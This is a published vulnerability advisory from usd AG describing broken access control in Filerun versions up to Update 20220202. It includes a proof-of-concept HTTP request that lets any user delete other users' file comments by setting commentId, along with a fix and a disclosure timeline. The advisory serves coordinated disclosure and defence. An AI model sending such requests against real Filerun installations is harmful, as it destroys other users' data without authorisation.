usd-2022-0010 | Broken Access Control in Filerun (Update 20220202)

Advisory ID: usd-2022-0010
Product: Filerun
Affected Version: <= Update 20220202
Vulnerability Type: https://cwe.mitre.org/data/definitions/284.html
Security Risk: Medium
Vendor URL: https://filerun.com
Vendor acknowledged vulnerability: Yes
Vendor Status: Fixed

Introduction

Filerun allows users to place comments on their uploaded files. Due to improper access control comments on files can be deleted by any user.

Proof of Concept

In the following, an exemplary request to delete a comment is given:

POST /?module=comments&section=ajax&page=remove HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 115
Cookie: FileRunSID=[REDACTED]
[...]

 

commentId=4&path=%2FROOT%2FHOME%2Fexample.txt&csrf=[REDACTED]


By setting the parameter commentId a user can delete any comment, even if it is not owned by the user.

Fix

It is recommended to restrict access to sensitive functions or information by default. Required access privileges should be granted explicitly by a global access control mechanism. Only allow required users to remove comments (e.g. file owner, shared users).

References

Timeline

  • 2022-04-22: Vulnerability identified by Christian Pöschl
  • 2022-04-25: First contact request via info@filerun.com
  • 2022-04-29: Vulnerability details submitted to Vendor
  • 2022-05-10: Fixed by Vendor
  • 2022-10-31: This advisory is published

Credits

This security vulnerability was found by Christian Pöschl of usd AG.